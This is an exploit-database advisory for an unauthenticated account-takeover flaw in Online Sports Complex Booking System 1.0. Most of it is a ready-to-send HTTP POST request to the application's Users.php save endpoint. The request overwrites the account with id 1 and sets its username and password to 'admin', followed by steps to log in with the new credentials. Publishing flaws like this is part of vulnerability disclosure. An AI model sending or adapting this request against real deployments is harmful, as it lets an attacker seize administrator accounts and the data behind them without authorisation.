Online Sports Complex Booking System 1.0 Account Takeover

2022.03.24

Credit: **Saud Alenazi (https://cxsecurity.com/author/Saud+Alenazi/1/)**

Risk: **Low**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **N/A**

```
# Exploit Title: Online Sports Complex Booking System - Account Tak
eover (Unauthenticated)
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15236/online-sp
orts-complex-booking-system-phpmysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
```

 # Description :

Online Sports Complex Booking System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

 # Steps to Reproduce :

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" parameters.

2. Go to http://localhost/scbs/admin/ and Log in to the user account by changed username and password

======

```
POST /scbs/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------116191142226418968289495615 14
Content-Length: 811
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/admin/?page=user
Cookie: PHPSESSID=2knksvuc4mgojfd9enhccg08sn

-----------------------------116191142226418968289495615 14
Content-Disposition: form-data; name="id"

1
```

```
----------------------------116191142226418968289495615 14
Content-Disposition: form-data; name="firstname"

Adminstrator
----------------------------116191142226418968289495615 14
Content-Disposition: form-data; name="lastname"

Admin
----------------------------116191142226418968289495615 14
Content-Disposition: form-data; name="username"

admin
----------------------------116191142226418968289495615 14
Content-Disposition: form-data; name="password"

admin
----------------------------116191142226418968289495615 14
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream



----------------------------116191142226418968289495615 14--
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2022030104)

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)